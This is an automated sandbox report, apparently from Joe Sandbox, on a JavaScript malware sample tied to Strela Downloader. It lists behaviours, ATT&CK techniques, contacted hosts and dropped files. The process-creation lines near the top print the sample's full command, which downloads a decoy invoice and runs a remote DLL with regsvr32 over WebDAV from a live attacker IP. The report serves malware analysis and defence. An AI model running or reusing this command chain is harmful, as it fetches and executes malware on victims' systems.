Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
31352150452488124098.js	6%	Virustotal		Browse
31352150452488124098.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/3	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/c	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Num	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/O	0%	Avira URL Cloud	safe
http://193.143.1.205:8888//	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.43	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.1345456087.00000290792A0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
http://crl.ver)	svchost.exe, 0000000F.00000002.2532359742.0000029079483000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false		high
https://www.adobe.co	ReaderMessages.11.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false		high
http://193.143.1.205:8888/	net.exe, 0000000D.00000002.1343326026.00000201C4798000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1343326026.00000201C47C9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Num	net.exe, 0000000D.00000002.1343326026.00000201C4798000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/3	net.exe, 0000000D.00000002.1343326026.00000201C47C9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/c	net.exe, 0000000D.00000002.1343326026.00000201C47C9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888//	net.exe, 0000000D.00000002.1343326026.00000201C47C9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/O	net.exe, 0000000D.00000002.1343326026.00000201C47EE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588245
Start date and time:	2025-01-10 23:01:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	31352150452488124098.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 217.20.57.43, 2.16.168.105, 2.16.168.107, 13.107.246.45, 52.6.155.20, 4.175.87.197, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, 7.4.8.4.4.3.1.4.0.0.0.0.0.0.0.0.0.0.0.a.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, time.windows.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:02:02	API Interceptor	21x Sleep call for process: powershell.exe modified
17:02:06	API Interceptor	1x Sleep call for process: net.exe modified
17:02:06	API Interceptor	2x Sleep call for process: svchost.exe modified
17:02:13	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1632322273251213172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.34
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.25
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.35
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.37
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.37
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.37
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1492619129759821343.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	256361061998227470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1632322273251213172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32489123841084027785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	boatnet.arm.elf	Get hash	malicious	Unknown	Browse	193.143.1.54

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067046305197815
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vq+:2JIB/wUKUKQncEmYRTwh0S
MD5:	A77344820D9E8EE698C5E93061AF619C
SHA1:	345E304045D234DD6D79F40F805BE527A27A599A
SHA-256:	FF310820A38D46429228CE3B4646E0CE52C486786FA865AADC70AEA6C609D42C
SHA-512:	1DE66A035247D4C7BCE36215AC7EA3D2F92C3B3E317B59BF6A9F5D448D697F78BA480E9715BE91AD936B47B609848CEF93205515C77C040119C222C3A007FBEC
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xeb777c3c, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7900018142822283
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:razaPvgurTd42UgSii
MD5:	451B89A30655D2C9E8E542EB5B140883
SHA1:	52AF0DB06AF91036D3DD8B0858CBE0C48E3DC04C
SHA-256:	9EF6873AC4F167ADC5901AEE1C207BA269BDB34D53869A588650A06836138D5C
SHA-512:	C56D4CA1F215FC33B94E84B245BA1FA68FE1C51C816E611AE5AE66C18011F5D82A80FC86A197149560D6D27FA3CA090F7E9895C44A8B7D1B94379A2E4D9CB874
Malicious:	false
Preview:	.w\|<... ...............X\...;...{......................0.`.....42...{5......}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................6........}...................LX......}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08171444326867672
Encrypted:	false
SSDEEP:	3:u/YeUz8DRDeqt/57Dek3JoVElqllEqW3l/TjzzQ/t:u/zM8NDPR3t5emd8/
MD5:	AC47CEC78A90F1010B7BFBA8C04E71D3
SHA1:	87ABC7E9EAE8B5B7672A982432BC3E6D1FC73A61
SHA-256:	F1A637B98BD1BCD14164C3A1035C4A7B82B8F86F3F25E295054BF1AC2D250FA6
SHA-512:	625C15F0CF3BC2D31C67BC0B51FE35A7B02BF48413753E2842797A9D9B86D406F72B67D498BEF04D620C58469376BFE2F8C1F4DAC6EC838C183B180D9D37D89F
Malicious:	false
Preview:	.jg......................................;...{.......}..42...{5.........42...{5.42...{5...Y.42...{59.................LX......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.140913829544247
Encrypted:	false
SSDEEP:	6:iO4qVq2PcNwi2nKuAl9OmbnIFUtSOSgZmwsOSIkwOcNwi2nKuAl9OmbjLJ:7lvLZHAahFUt3/L54ZHAaSJ
MD5:	F10CDA19DD8E99E616539E7F74BB5560
SHA1:	E6B8999E2332504CBBE3E9364E9E7E24F78B930F
SHA-256:	0B04ACD1F989FED2F6FC1623E5154399D22E915EA01F45B22D10F51BD381D1D7
SHA-512:	D0273A9C879E26C9AAAB33F454C25F7F06CF15B07EA16BC41934A6E08BB97E86E5A25E1FD0893C1C52E1035B101603273912052B221FF83E304BEBE207795FB1
Malicious:	false
Preview:	2025/01/10-17:02:06.216 1de0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:02:06.219 1de0 Recovering log #3.2025/01/10-17:02:06.219 1de0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.140913829544247
Encrypted:	false
SSDEEP:	6:iO4qVq2PcNwi2nKuAl9OmbnIFUtSOSgZmwsOSIkwOcNwi2nKuAl9OmbjLJ:7lvLZHAahFUt3/L54ZHAaSJ
MD5:	F10CDA19DD8E99E616539E7F74BB5560
SHA1:	E6B8999E2332504CBBE3E9364E9E7E24F78B930F
SHA-256:	0B04ACD1F989FED2F6FC1623E5154399D22E915EA01F45B22D10F51BD381D1D7
SHA-512:	D0273A9C879E26C9AAAB33F454C25F7F06CF15B07EA16BC41934A6E08BB97E86E5A25E1FD0893C1C52E1035B101603273912052B221FF83E304BEBE207795FB1
Malicious:	false
Preview:	2025/01/10-17:02:06.216 1de0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:02:06.219 1de0 Recovering log #3.2025/01/10-17:02:06.219 1de0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.127647300857179
Encrypted:	false
SSDEEP:	6:iO4vAq2PcNwi2nKuAl9Ombzo2jMGIFUtSOiZmwsZFzkwOcNwi2nKuAl9Ombzo2jz:7qAvLZHAa8uFUtC/C54ZHAa8RJ
MD5:	49C8DDB1645D5A4271FA133088F4BC4D
SHA1:	79B7F294BC45F0648E32D85CEE25FBE3F26FCDAE
SHA-256:	79ACC2074F09C4CF3957651008F1A0B1E3E5F17C72673B077EB69341E235D61B
SHA-512:	2A195748D8A33FEF2D27CE1272AA6B5FED281E80F0938665F7387FA128FF49084D9F9EDD6FA206E26D2B554069CDBDFAAB4AD261D2B0F2C984A5CACE7A18D51D
Malicious:	false
Preview:	2025/01/10-17:02:06.255 1ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:02:06.257 1ec0 Recovering log #3.2025/01/10-17:02:06.259 1ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.127647300857179
Encrypted:	false
SSDEEP:	6:iO4vAq2PcNwi2nKuAl9Ombzo2jMGIFUtSOiZmwsZFzkwOcNwi2nKuAl9Ombzo2jz:7qAvLZHAa8uFUtC/C54ZHAa8RJ
MD5:	49C8DDB1645D5A4271FA133088F4BC4D
SHA1:	79B7F294BC45F0648E32D85CEE25FBE3F26FCDAE
SHA-256:	79ACC2074F09C4CF3957651008F1A0B1E3E5F17C72673B077EB69341E235D61B
SHA-512:	2A195748D8A33FEF2D27CE1272AA6B5FED281E80F0938665F7387FA128FF49084D9F9EDD6FA206E26D2B554069CDBDFAAB4AD261D2B0F2C984A5CACE7A18D51D
Malicious:	false
Preview:	2025/01/10-17:02:06.255 1ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:02:06.257 1ec0 Recovering log #3.2025/01/10-17:02:06.259 1ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\81ab6010-a625-44ef-8b10-d4f87abb013b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.974284279115877
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqwZsBdOg2HBcaq3QYiubSpDyP7E4T3y:Y2sRdslKdMH43QYhbSpDa7nby
MD5:	B306715A4A80A24E39C4ED4F2CE27FA9
SHA1:	2B80D4CC130002F2E5962B00C8B3E81CA4F7BFD8
SHA-256:	BDD92C03D79BF8C03C8BC1FB431EAED12EF8BAA139297A15397D3544E0A25C4A
SHA-512:	27EDB7EE3A92FFFEBA26D00EB3BD0992E8D2FA92F818E15BB9F7EFE21E928D2BDA7DDD4FA8FE43B33FCDC9D229EB3E9EFBD63E1D0C1C73BB56E4D6BD1192F713
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381106537940070","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":117486},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3ac2e8.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\bac4edfe-0fab-43e0-bf97-7266de384750.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.229526642835172
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPX6smnf:CwNw1GHqPySfkcigoO3h28ytPqsif
MD5:	2CE3CE92AA5CC71C14E045C51EBFBF2D
SHA1:	B9AAC7B33279BE9D8F4DF7255F7758319AAABCE0
SHA-256:	FC4A5E9EDDC70F7AC24AB97B8A1DBC3B974EDFAE4E2A4B568F0D0F6EB8F4475A
SHA-512:	96447271D4FF4240A58CFB19793DD56C0D355D23F3FD6D5488C1A3B718781F02084490BF0A9975DC63F59DFB59515F053F0CE61B04B66CAA7B8F9BF6EFEA02A7
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.151084505251454
Encrypted:	false
SSDEEP:	6:iO433q2PcNwi2nKuAl9OmbzNMxIFUtSiZCXZmwsx+zkwOcNwi2nKuAl9OmbzNMFd:723vLZHAa8jFUtlCX/Fz54ZHAa84J
MD5:	A425FBD32E8DF1C5CD2E2F5C367705A2
SHA1:	1BFB70C0AC554068D6A2B8AF7D177642C9D9E4D7
